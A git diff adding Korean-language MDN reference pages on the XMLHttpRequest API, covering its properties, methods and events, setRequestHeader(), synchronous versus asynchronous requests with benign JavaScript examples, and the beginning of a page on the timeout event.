+<p>{{DefaultAPISidebar("XMLHttpRequest")}}<br>
+ <code>XMLHttpRequest</code>(XHR) 객체는 서버와 상호작용하기 위하여 사용됩니다. 전체 페이지의 새로고침없이도 URL 로부터 데이터를 받아올 수 있습니다. 이는 웹 페이지가 사용자가 하고 있는 것을 방해하지 않으면서 페이지의 일부를 업데이트할 수 있도록 해줍니다. <code>XMLHttpRequest</code> 는 {{Glossary("AJAX")}} 프로그래밍에 주로 사용됩니다.</p>
+
+<p><span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{InheritanceDiagram(650, 150)}}</span></p>
+
+<p><code>XMLHttpRequest</code> 는 이름으로만 봐서는 XML 만 받아올 수 있을 것 같아 보이지만, 모든 종류의 데이터를 받아오는데 사용할 수 있습니다. 또한 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP">HTTP</a> 이외의 프로토콜도 지원합니다(<code>file</code> 과 <code>ftp</code> 포함).</p>
+
+<p>통신을 통해 서버로부터 이벤트나 메시지 데이터를 받아야 한다면, {{domxref("EventSource")}} 를 통한 <a href="https://developer.mozilla.org/ko/docs/Web/API/Server-sent_events">server-sent events</a> 사용을 고려하세요. 완전 양방향 통신을 해야 한다면 <a href="https://developer.mozilla.org/ko/docs/WebSockets">웹 소켓</a>이 더 나은 선택일 수 있습니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}</dt>
+ <dd>생성자는 XMLHttpRequest 를 초기화합니다. 다른 모든 메소드 호출이전에 호출되어야 합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 {{domxref("XMLHttpRequestEventTarget")}} 과 {{domxref("EventTarget")}} 의 속성도 상속합니다.</em></p>
+
+<dl>
+ <dt id="xmlhttprequest-onreadystatechange">{{domxref("XMLHttpRequest.onreadystatechange")}}</dt>
+ <dd><code>readyState</code> 어트리뷰트가 변경될때마다 호출되는 {{domxref("EventHandler")}} 입니다.</dd>
+ <dt id="xmlhttprequest-readystate">{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}</dt>
+ <dd>요청의 상태를 <code>unsigned short</code> 로 반환합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}</dt>
+ <dd>응답 엔티티 바디를 갖는하는 {{domxref("XMLHttpRequest.responseType")}} 의 값에 따라 {{jsxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}}, JavaScript 객체, 또는 {{domxref("DOMString")}} 을 반환합니다.</dd>
+ <dt id="xmlhttprequest-responsetext">{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}</dt>
+ <dd>요청에 대한 응답을 텍스트로 갖는 {{domxref("DOMString")}} 을 반환합니다. 요청이 성공하지 못했거나 아직 전송되지 않았을 경우 <code>null</code> 을 반환합니다.</dd>
+ <dt id="xmlhttprequest-responsetype">{{domxref("XMLHttpRequest.responseType")}}</dt>
+ <dd>응답 타입을 정의하는 열거형 값입니다.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}</dt>
+ <dd>응답의 연속된 URL 을 반환합니다. URL 이 null 인 경우 빈 문자열을 반환합니다.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}</dt>
+ <dd>요청에 대한 응답을 갖는 {{domxref("Document")}} 를 반환합니다. 요청이 성공하지 못했거나, 아직 전송되지 않았거나, XML 또는 HTML 로 파싱할 수 없는 경우 <code>null</code> 을 반환합니다. workers 에서는 사용이 불가합니다.</dd>
+ <dt id="xmlhttprequest-status">{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}</dt>
+ <dd>요청의 응답 상태를 갖는 <code>unsigned short</code> 를 반환합니다.</dd>
+ <dt id="xmlhttprequest-statustext">{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}</dt>
+ <dd>HTTP 서버에 의해 반환된 응답 문자열을 갖는 {{domxref("DOMString")}} 을 반환합니다. {{domxref("XMLHTTPRequest.status")}} 와는 다르게, 응답 메시지의 전체 텍스트를 갖습니다(예, "<code>200 OK</code>").</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> HTTP/2 명세(<a href="https://http2.github.io/http2-spec/#rfc.section.8.1.2.4">8.1.2.4</a> <a href="https://http2.github.io/http2-spec/#HttpResponse">Response Pseudo-Header Fields</a>)에 따르면, HTTP/2 는 HTTP/1.1 상태 라인에 포함된 버전이나 원인 문구를 전달하는 방법을 정의하지 않습니다.</p>
+</div>
+
+<dl>
+ <dt id="xmlhttprequest-timeout">{{domxref("XMLHttpRequest.timeout")}}</dt>
+ <dd>요청이 자동으로 종료될때까지 걸린 시간을 밀리초 단위로 나타내는 <code>unsigned long</code> 입니다.</dd>
+ <dt>{{domxref("XMLHttpRequestEventTarget.ontimeout")}}</dt>
+ <dd>요청 시간 초과때마다 호출되는 {{domxref("EventHandler")}} 입니다. {{gecko_minversion_inline("12.0")}}</dd>
+ <dt id="xmlhttprequest-upload">{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}</dt>
+ <dd>업로드 과정을 나타내는 {{domxref("XMLHttpRequestUpload")}} 입니다.</dd>
+ <dt id="xmlhttprequest-withcredentials">{{domxref("XMLHttpRequest.withCredentials")}}</dt>
+ <dd>사이트 간 <code>Access-Control</code> 요청이 쿠키나 인증 헤더와 같은 자격 증명을 사용해야하는지 여부를 나타내는 {{domxref("Boolean")}} 입니다.</dd>
+</dl>
+
+<h3 id="비표준_속성">비표준 속성</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}</dt>
+ <dd>{{Interface("nsIChannel")}} 입니다. 요청을 수행할 때 객체에 의해 사용된 채널입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}</dt>
+ <dd>Boolean 입니다. true 일 경우, 요청이 쿠키나 인증 헤더 없이 전송됩니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}</dt>
+ <dd>Boolean 입니다. true 일 경우, 요청에대해 동일 출처 정책(same origin policy)이 강제되지 않습니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozBackgroundRequest")}}</dt>
+ <dd> Boolean 입니다. 객체가 백그라운드 서비스 요청을 나타내는지 여부를 표시합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}</dt>
+ <dd>{{jsxref("ArrayBuffer")}}. 요청에 대한 응답입니다. 타입이 지정된 JavaScript 배열입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}</dt>
+ <dd><strong>This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22.</strong><br>
+ 대신 <a href="https://developer.mozilla.org/ko/docs/Web/API/Server-sent_events">Server-Sent Events</a>, <a href="https://developer.mozilla.org/ko/docs/WebSockets">웹 소켓</a>, 또는 프로그레스 이벤트의 <code>responseText</code> 를 사용하시기 바랍니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<p><code>XMLHttpRequest</code> 인스턴스의 속성으로써 <code>onreadystatechange</code> 는 모든 브라우저에서 지원됩니다.</p>
+
+<p>그 이후, 많은 부가적인 이벤트 핸들러가 다양한 브라우저에서 구현되었습니다(<code>onload</code>, <code>onerror</code>, <code>onprogress</code>, 등등.). <a href="https://developer.mozilla.org/ko/docs/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest 사용하기</a> 글을 확인하세요.</p>
+
+<p>Firefox 를 포함해, 더 최신 브라우저는 <code>on*</code> 속성을 핸들러 함수로 설정하는것 뿐만 아니라 표준 {{domxref("EventTarget.addEventListener", "addEventListener()")}} API 를 통해 <code>XMLHttpRequest</code> 이벤트 리스닝도 지원합니다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.abort()")}}</dt>
+ <dd>이미 전송된 요청을 중지합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}</dt>
+ <dd>모든 응답 헤더를 {{Glossary("CRLF")}} 로 구분한 문자열로 반환합니다. 응답을 받지 않은 경우 <code>null</code> 입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.getResponseHeader()")}}</dt>
+ <dd>지정한 헤더의 텍스트를 갖는 문자열을 반환합니다. 응답을 아직 받지 못했거나 응답에 헤더가 존재하지 않을 경우 <code>null</code> 입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.open()")}}</dt>
+ <dd>요청을 초기화합니다. 이 메소드는 네이티브 코드로부터의 요청을 초기화하기 위해 JavaScript 코드에 의해 사용됩니다. 대신 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#openRequest()"><code>openRequest()</code></a> 를 사용하세요.</dd>
+ <dt>{{domxref("XMLHttpRequest.overrideMimeType()")}}</dt>
+ <dd>서버에의해 반환된 MIME 타입을 오버라이드합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.send()")}}</dt>
+ <dd>요청을 보냅니다. 요청이 비동기인 경우(기본값), 이 메소드는 요청이 보내진 즉시 반환합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.setRequestHeader()")}}</dt>
+ <dd>HTTP 요청 헤더의 값을 설정합니다. <a href="https://developer.mozilla.org/ko/docs/XMLHttpRequest$edit#open"><code>open()</code></a> 후, <code>send()</code> 전에 <code>setRequestHeader()</code> 를 호출해야합니다.</dd>
+</dl>
+
+<h3 id="비표준_메소드">비표준 메소드</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.init()")}}</dt>
+ <dd>C++ 코드에서 사용할 객체를 초기화합니다.</dd>
+</dl>
+
+<div class="blockIndicator warning">
+<p><strong>주의:</strong> 이 메소드는 JavaScript 에서 호출되면 안 됩니다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.openRequest()")}}</dt>
+ <dd>요청을 초기화합니다. 이 메소드는 JavaScript 코부로부터의 요청을 초기화하기위해 네이티브 코드에서 사용됩니다. 대신 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#open()"><code>open()</code></a> 을 사용하세요. <code>open()</code> 에 대한 문서를 확인하세요.</dd>
+ <dt>{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}</dt>
+ <dd>바이너리 데이터를 보내는 <code>send()</code> 메소드의 다른 방식입니다.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest/abort_event", "abort")}}</dt>
+ <dd>예를 들어 프로그램이 {{domxref("XMLHttpRequest.abort()")}}를 호출해서 요청이 중단되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/error_event", "error")}}</dt>
+ <dd>요청에 에러가 생기면 발생한다.{{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/load_event", "load")}}</dt>
+ <dd>{{domxref("XMLHttpRequest")}} 처리 과정이 성공적으로 완료되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onload", "onload")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/loadend_event", "loadend")}}</dt>
+ <dd>요청이 성공이든 ({{domxref("XMLHttpRequest/load_event", "load")}} 다음) 실패든 ({{domxref("XMLHttpRequest/abort_event", "abort")}} 또는 {{domxref("XMLHttpRequest/error_event", "error")}} 다음) 완료되면 발생한다.<br>
+ {{domxref("XMLHttpRequestEventTarget/onloadend", "onloadend")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}</dt>
+ <dd>요청이 데이터를 받기 시작하면 발생한다.<br>
+ {{domxref("XMLHttpRequestEventTarget/onloadstart", "onloadstart")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/progress_event", "progress")}}</dt>
+ <dd>요청이 데이터를 받는 동안 주기적으로 발생한다.<br>
+ {{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}} 속성을 통해서도 가능하다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Live standard, latest version</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.XMLHttpRequest")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("XMLSerializer")}}: DOM 트리를 XML 로 직렬화</li>
+ <li><code>XMLHttpRequest</code> 를 다루는 MDN 튜토리얼:
+  <ul>
+   <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/AJAX/Getting_Started">Ajax 시작하기</a></li>
+   <li><a href="https://developer.mozilla.org/ko/docs/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest 사용하기</a></li>
+   <li><a href="https://developer.mozilla.org/ko/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+  </ul>
+ </li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks — New Tricks in XMLHttpRequest2</a></li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/setrequestheader/index.html b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html
new file mode 100644
index 0000000000..c7c595e1f1
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html
@@ -0,0 +1,55 @@
+---
+title: XMLHttpRequest.setRequestHeader()
+slug: Web/API/XMLHttpRequest/setRequestHeader
+translation_of: Web/API/XMLHttpRequest/setRequestHeader
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong>XMLHttpRequest.setRequestHeader()</strong> 메소드는 HTTP요청 헤더의 값을 설정합니다. 반드시 <code>setRequestHeader()</code>를 <a href="#open"><code>open()</code></a>뒤에 호출하여야 하며, 또한 <code>send()</code>가 호출되기 전에 호출해야 합니다. 만약 이 메소드가 같은 헤더에 대하여 여러번 호출이 되면, 그 값은 단일 요청 헤더에 병합됩니다.</p>
+
+<p>만약 이것을 이용해 {{HTTPHeader("Accept")}} 헤더를 설정하지 않으면, {{domxref("XMLHttpRequest.send", "send()")}}가 호출될 때 <code>Accept</code> 헤더가 <code>*/*</code>와 함께 전송됩니다.</p>
+
+<p>보안상의 이유로, 어떤 헤더는 오직 사용자 에이전트에 의해서만 관리될 수 있습니다. 이 헤더는 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}와 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}를 포함합니다.</p>
+
+<div class="note">
+<p>여러분의 필드에 대해서, 상호교차(cross-domain) 요청시 "<strong>not allowed by Access-Control-Allow-Headers in preflight response</strong>" Exception이 나타날 수 있습니다. 이런 경우, "Access-Control-Allow-Headers"를 서버 측 응답 헤더에 설정하면 됩니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">myReq.setRequestHeader(<var>header</var>, <var>value</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>설정 될 값을 가진 헤더의 이름</dd>
+ <dt><code>value</code></dt>
+ <dd>헤더의 본문(body)에 설정될 값</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.XMLHttpRequest.setRequestHeader")}}</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<p><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></p>
diff --git a/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
new file mode 100644
index 0000000000..8c57920201
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
@@ -0,0 +1,231 @@
+---
+title: Synchronous and asynchronous requests
+slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+---
+<p><code>XMLHttpRequest</code> 는 동기적 통신과 비동기적 통신을 모두 지원합니다.  하지만, 일반적으로는 성능상의 이유로 인하여 비동기적 요청이 동기적 요청보다 우선시 되어야 합니다. </p>
+
+<p>동기 요청은 코드 실행을 차단하여 화면에 “얼어붙어” 버리고 응답하지 없는 사용자 경험을 만듭니다.</p>
+
+<h2 id="Asynchronous_request">Asynchronous request</h2>
+
+<p>만약 <code>XMLHttpRequest</code>을 비동기적으로 사용한다면, 데이터가 도착했을때 콜백을 받게 될겁니다. 이렇게하면 요청이 처리되는 동안 브라우저는 여전히 정상적으로 동작 할 수 있습니다.</p>
+
+<h3 id="Example_send_a_file_to_the_console_log">Example: send a file to the console log</h3>
+
+<p>다음은 비동기적 <code>XMLHttpRequest</code>의 간단한 사용법입니다. </p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); </pre>
+
+<p>두번째 줄에서 세번째 파라미터가 <code>true</code> 로 지정되면 요청이 비동기적으로 처리 된다는 선언입니다.</p>
+
+<p>Line 3 creates an event handler function object and assigns it to the request's <code>onload</code> attribute. This handler looks at the request's <code>readyState</code> to see if the transaction is complete in line 4 and if it is, and the HTTP status is 200, dumps the received content. If an error occurred, an error message is displayed.</p>
+
+<p>15번째 줄에서 실제 요청이 시작됩니다. 콜백 루틴은 이 요청의 상태가 변경 될 때 마다 호출됩니다.</p>
+
+<h3 id="Example_creating_a_standard_function_to_read_external_files">Example: creating a standard function to read external files</h3>
+
+<p>In some cases, you must read many external files. This is a standard function which uses the <code>XMLHttpRequest</code> object asynchronously in order to switch the content of the read file to a specified listener.</p>
+
+<pre class="brush: js">function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+</pre>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+</pre>
+
+<p>The signature of the utility function <em><strong>loadFile</strong></em> declares (i) a target URL to read (via HTTP GET), (ii) a function to execute on successful completion of the XHR operation, and (iii) an arbitrary list of additional arguments that are "passed through" the XHR object to the success callback function.</p>
+
+<p>Line 1 declares a function invoked when the XHR operation completes successfully. It, in turn, invokes the callback function specified in the invocation of the loadFile function (in this case, the function showMessage) which has been assigned to a property of the XHR object (Line 11). The additional arguments (if any) supplied to the invocation of function loadFile are "applied" to the running of the callback function.</p>
+
+<p>Line 5 declares a function invoked when the XHR operation fails to complete successfully.</p>
+
+<p>Line 11 stores on the XHR object the success callback function is given as the second argument to loadFile.</p>
+
+<p>Line 12 slices the arguments array given to the invocation of <em>loadFile</em>. Starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable <em>xhr</em>, passed to the success callback function <em>xhrSuccess</em>., and ultimately supplied to the callback function (in this case, <em>showMessage</em>) which is invoked by function <em>xhrSuccess</em>.</p>
+
+<p>Line 15 specifies <em>true</em> for its third parameter to indicate that the request should be handled asynchronously.</p>
+
+<p>Line 16 actually initiates the request.</p>
+
+<h3 id="Example_using_a_timeout">Example: using a timeout</h3>
+
+<p>You can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the <code>timeout</code> property on the <code>XMLHttpRequest</code> object, as shown in the code below:</p>
+
+<pre class="brush: js">function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}</pre>
+
+<p>Notice the addition of code to handle the "timeout" event by setting the <code>ontimeout</code> handler.</p>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+</pre>
+
+<p>Here, we're specifying a timeout of 2000 ms.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Support for <code>timeout</code> was added in {{Gecko("12.0")}}.</p>
+</div>
+
+<h2 id="Synchronous_request">Synchronous request</h2>
+
+<div class="note"><strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+
+<p>Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.</p>
+
+<p>All new XHR features such as <code>timeout</code> or <code>abort</code> aren't allowed for synchronous XHR. Doing so would invoke <code>InvalidAccessError</code>.</p>
+
+<h3 id="Example_HTTP_synchronous_request">Example: HTTP synchronous request</h3>
+
+<p>This example demonstrates how to make a simple synchronous request.</p>
+
+<pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+</pre>
+
+<p>Line 3 sends the request. The <code>null</code> parameter indicates that no body content is needed for the <code>GET</code> request.</p>
+
+<p>Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.</p>
+
+<h3 id="Example_Synchronous_HTTP_request_from_a_Worker">Example: Synchronous HTTP request from a <code>Worker</code></h3>
+
+<p>One of the few cases in which a synchronous request does not usually block execution is the use of <code>XMLHttpRequest</code> within a <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>.</p>
+
+<p><code><strong>example.html</strong></code> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code><strong>myFile.txt</strong></code> (the target of the synchronous <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> invocation):</p>
+
+<pre>Hello World!!
+</pre>
+
+<p><code><strong>myTask.js</strong></code> (the <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>):</p>
+
+<pre class="brush: js">self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+</pre>
+
+<div class="note"><strong>Note:</strong> The effect, because of the use of the <code>Worker</code>, is however asynchronous.</div>
+
+<p>It could be useful in order to interact in the background with the server or to preload some content. See <a class="internal" href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a> for examples and details.</p>
+
+<h3 id="Adapting_Sync_XHR_usecases_to_the_Beacon_API">Adapting Sync XHR usecases to the Beacon API</h3>
+
+<p>There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onunload"><code>window.onunload</code></a> and <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload"><code>window.onbeforeunload</code></a> events. You should consider using the <code>fetch</code> API with <code>keepalive</code> flag. When <code>fetch</code> with <code>keepalive</code> isn't available, you can consider using the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a> API can support these use cases typically while delivering a good UX.</p>
+
+<p>The following example (from the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">sendBeacon docs</a>) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+</pre>
+
+<p>Using the <strong><code>sendBeacon()</code></strong> method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, <strong>without delaying the unload or affecting the performance of the next navigation.</strong></p>
+
+<p>The following example shows a theoretical analytics code pattern that submits data to a server by using the <strong><code>sendBeacon()</code></strong> method.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/Guide/AJAX">AJAX</a></li>
+ <li><code><a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a></code></li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/timeout/index.html b/files/ko/web/api/xmlhttprequest/timeout/index.html
new file mode 100644
index 0000000000..4ecc599f9d
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/timeout/index.html
@@ -0,0 +1,123 @@
+---
+title: timeout
+slug: Web/API/XMLHttpRequest/timeout
+translation_of: Web/API/XMLHttpRequest/timeout_event
+---
+<div>
+<p><code><strong>timeout</strong></code> 이벤트는 미리 설정한 시간이 만료되어 진행이 종료되면 시작합니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Bubbles</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td>Target objects</td>
+   <td>{{domxref("XMLHttpRequest")}}</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">var client <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">XMLHttpRequest</span><span class="punctuation token">(</span><span class="punctuation token">);</span>
+client<span class="punctuation token">.</span><span class="function token">open</span><span class="punctuation token">(</span><span class="string token">"GET"</span><span class="punctuation token">,</span> <span class="string token">"http://www.example.org/example.txt"</span><span class="punctuation token">);</span>
+client<span class="punctuation token">.</span>ontimeout <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console.error("Timeout!!");
+<span class="punctuation token">}</span>
+client<span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="punctuation token">);</span></code></pre>
+
+<h2 id="Inheritance">Inheritance</h2>
+
+<p><code>timeout</code> 이벤트는 {{domxref("Event")}}에서 상속받은 {{domxref("ProgressEvent")}} 인터페이스를 구현합니다. 이 인터페이스에 선언된 속성(property)과 메서드를 사용할 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
